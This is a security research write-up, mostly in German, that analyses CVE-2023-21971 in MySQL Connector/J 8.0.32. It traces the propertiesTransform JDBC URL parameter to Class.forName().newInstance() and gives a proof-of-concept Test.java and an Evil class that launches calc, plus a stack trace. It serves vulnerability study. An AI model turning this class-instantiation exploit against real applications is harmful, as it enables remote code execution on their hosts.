
CVE-2023-21971 Connector/J RCE Analyse分析
Remote Code Execution (RCE) in com.mysql:mysql-connector-j | CVE-2023-21971 | Snyk
New Vulnerability in MySQL JDBC Driver: RCE and Unauthorized DB Access
MYSQL JDBC Deserialisierungsanalyse - 跳跳糖 (tttang.com)
Schwachstelle in den MySQL Connectors von Oracle MySQL (Komponente: Connector/J). Betroffene unterstützte Versionen sind 8.0.32 und früher. Eine schwer ausnutzbare Schwachstelle ermöglicht es einem Angreifer mit hohen Berechtigungen, über mehrere Protokolle auf das Netzwerk zuzugreifen, um den MySQL Connector zu kompromittieren. Ein erfolgreicher Angriff erfordert menschliches Eingreifen durch eine andere Person als den Angreifer. Ein erfolgreicher Angriff auf diese Schwachstelle kann zu unbefugten Fähigkeiten führen, die dazu führen, dass der MySQL Connector hängt oder häufig wiederholt abstürzt (vollständiger DOS), sowie zu unbefugten Aktualisierungen, Einfügungen oder Löschungen des Zugriffs auf bestimmte, vom MySQL Connector zugängliche Daten und zu unbefugtem Lesezugriff auf einen Teil der vom MySQL Connector zugänglichen Daten.
Auswirkungen:
Suchen Sie auf Github nach Projekten, die von mysql-connector-java abhängig sind.
filename:pom.xml mysql-connector-java
Auf Github suchen, um Projekte zu finden, die eine bestimmte Version von mysql-connector-java verwenden.
filename:pom.xml mysql-connector-java 8.0.32
conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=test&password=test&propertiesTransform=com.example.MyArbitraryClass");
src/main/core-api/java/com/mysql/cj/conf/ConnectionUrl.java
Hier können wir offensichtlich den propertiesTransformClassName steuern, und beim Aufruf von newInstance() wird automatisch dessen parameterloser Konstruktor aufgerufen.
this.propertiesTransformer = (ConnectionPropertiesTransform) Class.forName(propertiesTransformClassName).newInstance();
Offensichtlich kann man damit ein verifizierendes Demo schreiben.
Maven Repository: com.mysql » mysql-connector-j » 8.0.32 (mvnrepository.com)
<!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.32</version>
</dependency>
Hier laden wir direkt die Jar-Datei herunter und importieren sie in die Libraries des IDEA-Projekts.
Test.java
import java.sql.Connection;
import java.sql.DriverManager;
public class Test {
public static void main(String[] args) throws Exception {
Class.forName("com.mysql.jdbc.Driver");
Connection conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=test&password=test&propertiesTransform=com.jeyiuwai.Evil");
}
}
com.jeyiuwai.Evil
package com.jeyiuwai;
import com.mysql.cj.conf.ConnectionPropertiesTransform;
import java.io.IOException;
import java.util.Properties;
public class Evil implements ConnectionPropertiesTransform {
public Evil() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public Properties transformProperties(Properties properties) {
return null;
}
}
Aber die Evil-Klasse wurde lokal erstellt, und in den Abhängigkeiten gibt es keine Klasse, die das Interface ConnectionPropertiesTransform implementiert. Ist das eine Schwachstelle, die kaum ausnutzbar ist?
Durch Experimente haben wir festgestellt, dass die Evil-Klasse tatsächlich das ConnectionPropertiesTransform-Interface nicht implementieren muss, um Code auszuführen.
setupPropertiesTransformer:382, ConnectionUrl (com.mysql.cj.conf)
collectProperties:370, ConnectionUrl (com.mysql.cj.conf)
<init>:347, ConnectionUrl (com.mysql.cj.conf)
<init>:47, SingleConnectionUrl (com.mysql.cj.conf.url)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:192, Util (com.mysql.cj.util)
getInstance:167, Util (com.mysql.cj.util)
getInstance:174, Util (com.mysql.cj.util)
getImplementingInstance:241, ConnectionUrl$Type (com.mysql.cj.conf)
getConnectionUrlInstance:211, ConnectionUrl$Type (com.mysql.cj.conf)
getConnectionUrlInstance:280, ConnectionUrl (com.mysql.cj.conf)
connect:195, NonRegisteringDriver (com.mysql.cj.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:12, Test